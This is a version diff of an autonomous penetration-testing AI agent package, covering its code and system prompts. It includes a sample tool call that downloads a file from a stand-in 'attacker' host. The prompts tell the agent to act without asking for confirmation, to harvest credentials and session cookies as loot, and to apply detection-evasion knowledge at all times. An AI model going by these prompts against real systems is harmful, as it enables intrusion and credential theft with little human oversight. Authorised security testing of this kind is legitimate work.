pentesting 0.48.2 → 0.48.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +0 -12
- package/dist/main.js +32 -2
- package/dist/prompts/base.md +31 -1
- package/dist/prompts/strategy.md +1 -1
- package/package.json +1 -1
package/README.md
CHANGED
|
@@ -33,18 +33,6 @@ Pentesting support tool
|
|
|
33
33
|
|
|
34
34
|
## Quick Start with Docker (Recommended)
|
|
35
35
|
|
|
36
|
-
|
|
37
|
-
```bash
|
|
38
|
-
docker run -it --rm \
|
|
39
|
-
-e PENTEST_API_KEY="your_glm_api_key" \
|
|
40
|
-
-e PENTEST_BASE_URL="https://open.bigmodel.cn/api/paas/v4" \
|
|
41
|
-
-e PENTEST_MODEL="glm-5" \
|
|
42
|
-
-v ./pentest-data:/root/.pentest \
|
|
43
|
-
agnusdei1207/pentesting
|
|
44
|
-
```
|
|
45
|
-
|
|
46
|
-
### Using Brave Search
|
|
47
|
-
|
|
48
36
|
```bash
|
|
49
37
|
docker run -it --rm \
|
|
50
38
|
-e PENTEST_API_KEY="your_glm_api_key" \
|
package/dist/main.js
CHANGED
|
@@ -331,7 +331,7 @@ var ORPHAN_PROCESS_NAMES = [
|
|
|
331
331
|
|
|
332
332
|
// src/shared/constants/agent.ts
|
|
333
333
|
var APP_NAME = "Pentest AI";
|
|
334
|
-
var APP_VERSION = "0.48.
|
|
334
|
+
var APP_VERSION = "0.48.3";
|
|
335
335
|
var APP_DESCRIPTION = "Autonomous Penetration Testing AI Agent";
|
|
336
336
|
var LLM_ROLES = {
|
|
337
337
|
SYSTEM: "system",
|
|
@@ -10770,6 +10770,30 @@ RULES:
|
|
|
10770
10770
|
this.state.addLoot({ type: LOOT_TYPES.CREDENTIAL, host: "auto-extracted", detail: cred, obtainedAt: Date.now() });
|
|
10771
10771
|
}
|
|
10772
10772
|
}
|
|
10773
|
+
if (digestResult?.memo?.attackVectors.length && digestResult.memo.attackValue === "HIGH") {
|
|
10774
|
+
const existingTitles = new Set(this.state.getFindings().map((f) => f.title));
|
|
10775
|
+
for (const vector of digestResult.memo.attackVectors) {
|
|
10776
|
+
const title = `[Auto] ${vector.slice(0, 100)}`;
|
|
10777
|
+
if (!existingTitles.has(title)) {
|
|
10778
|
+
this.state.addFinding({
|
|
10779
|
+
id: generateId(),
|
|
10780
|
+
title,
|
|
10781
|
+
severity: "high",
|
|
10782
|
+
affected: [],
|
|
10783
|
+
description: `Auto-extracted by Analyst LLM: ${vector}`,
|
|
10784
|
+
evidence: digestResult.memo.keyFindings.slice(0, 5),
|
|
10785
|
+
isVerified: false,
|
|
10786
|
+
remediation: "",
|
|
10787
|
+
foundAt: Date.now()
|
|
10788
|
+
});
|
|
10789
|
+
this.state.attackGraph.addVulnerability(title, "auto-detected", "high", false);
|
|
10790
|
+
existingTitles.add(title);
|
|
10791
|
+
}
|
|
10792
|
+
}
|
|
10793
|
+
}
|
|
10794
|
+
if (this.state.getFindings().length > 0 && this.state.getPhase() === PHASES.RECON) {
|
|
10795
|
+
this.state.setPhase(PHASES.VULN_ANALYSIS);
|
|
10796
|
+
}
|
|
10773
10797
|
}
|
|
10774
10798
|
/**
|
|
10775
10799
|
* Enrich tool error — delegates to extracted module (§3-1)
|
|
@@ -11360,8 +11384,14 @@ var CORE_KNOWLEDGE_FILES = [
|
|
|
11360
11384
|
// Attack prioritization, first-turn protocol, upgrade loop
|
|
11361
11385
|
AGENT_FILES.ORCHESTRATOR,
|
|
11362
11386
|
// Phase transitions, multi-target management
|
|
11363
|
-
AGENT_FILES.EVASION
|
|
11387
|
+
AGENT_FILES.EVASION,
|
|
11364
11388
|
// Detection avoidance (always relevant)
|
|
11389
|
+
AGENT_FILES.ZERO_DAY,
|
|
11390
|
+
// Known CVE lookup + unknown vuln discovery methodology
|
|
11391
|
+
AGENT_FILES.PAYLOAD_CRAFT,
|
|
11392
|
+
// Payload mutation and filter bypass techniques
|
|
11393
|
+
AGENT_FILES.INFRA
|
|
11394
|
+
// Active Directory / infrastructure attack methodology
|
|
11365
11395
|
];
|
|
11366
11396
|
var PHASE_TECHNIQUE_MAP = {
|
|
11367
11397
|
[PHASES.RECON]: ["network-svc", "shells", "crypto"],
|
package/dist/prompts/base.md
CHANGED
|
@@ -115,11 +115,41 @@ bg_process({ action: "interact", command: "wget http://attacker/file -O /tmp/fil
|
|
|
115
115
|
|
|
116
116
|
### 1. Act, Don't Ask
|
|
117
117
|
- ScopeGuard enforces boundaries. Out-of-scope targets are automatically blocked
|
|
118
|
-
- Record findings immediately with add_finding
|
|
119
118
|
- **Execute tasks immediately without unnecessary confirmations/questions**
|
|
120
119
|
- If no results → **try a different approach** (never repeat the same method)
|
|
121
120
|
- ask_user is for: (1) physically unobtainable information (passwords, SSH keys, API tokens), (2) **confirming you're truly done** when all vectors are exhausted
|
|
122
121
|
|
|
122
|
+
### 🔴 CRITICAL: State Management — MANDATORY AFTER EVERY DISCOVERY
|
|
123
|
+
|
|
124
|
+
**You MUST call these tools to record your progress. If you skip these, your findings are LOST.**
|
|
125
|
+
|
|
126
|
+
**`add_finding`** — Call IMMEDIATELY when you **CONFIRM** a vulnerability:
|
|
127
|
+
- Confirmed LFI/RFI → `add_finding` with evidence (the actual command output)
|
|
128
|
+
- Confirmed SQLi → `add_finding` with evidence
|
|
129
|
+
- Confirmed RCE → `add_finding` with evidence
|
|
130
|
+
- Confirmed auth bypass → `add_finding` with evidence
|
|
131
|
+
- **Rule: If you can reproduce it, it's a confirmed finding. Record it NOW.**
|
|
132
|
+
|
|
133
|
+
**`add_target`** — Call when you discover a new host or service:
|
|
134
|
+
- New IP found during recon → `add_target`
|
|
135
|
+
- New ports/services discovered → `add_target` (merges with existing)
|
|
136
|
+
|
|
137
|
+
**`add_loot`** — Call when you find credentials, tokens, keys, hashes:
|
|
138
|
+
- Password, hash, API key, SSH key, JWT, session cookie → `add_loot`
|
|
139
|
+
|
|
140
|
+
**`update_phase`** — Call when your ACTIVITY changes:
|
|
141
|
+
- Scanning/enumerating services → `update_phase({ phase: "recon" })`
|
|
142
|
+
- Testing for vulnerabilities → `update_phase({ phase: "vulnerability_analysis" })`
|
|
143
|
+
- Exploiting confirmed vulns → `update_phase({ phase: "exploit" })`
|
|
144
|
+
- Post-access enumeration → `update_phase({ phase: "post_exploitation" })`
|
|
145
|
+
- Escalating privileges → `update_phase({ phase: "privilege_escalation" })`
|
|
146
|
+
- Moving to other hosts → `update_phase({ phase: "lateral_movement" })`
|
|
147
|
+
|
|
148
|
+
⚠️ **Self-Check Every Turn:**
|
|
149
|
+
- "Did I confirm a vulnerability but NOT call `add_finding`?" → Call it NOW
|
|
150
|
+
- "Am I exploiting but Phase is still 'recon'?" → Call `update_phase` NOW
|
|
151
|
+
- "Did I find credentials but NOT call `add_loot`?" → Call it NOW
|
|
152
|
+
|
|
123
153
|
### 2. ask_user Rules
|
|
124
154
|
- Use received values **immediately in the next command** — receiving and not using is forbidden
|
|
125
155
|
- Once received → **reuse** — never ask for the same thing again
|
package/dist/prompts/strategy.md
CHANGED
|
@@ -620,7 +620,7 @@ Layer 2 — Structural Reduction (cost: ~1ms)
|
|
|
620
620
|
Layer 3 — Semantic Digest (cost: ~2-5s, separate LLM call)
|
|
621
621
|
Only fires for truly massive outputs (>50K after Layer 1+2).
|
|
622
622
|
Produces a focused 30-line intelligence summary.
|
|
623
|
-
Full output is ALWAYS saved to
|
|
623
|
+
Full output is ALWAYS saved to .pentesting/outputs/ for reference.
|
|
624
624
|
```
|
|
625
625
|
|
|
626
626
|
### Agent Behavioral Rules for Output Handling
|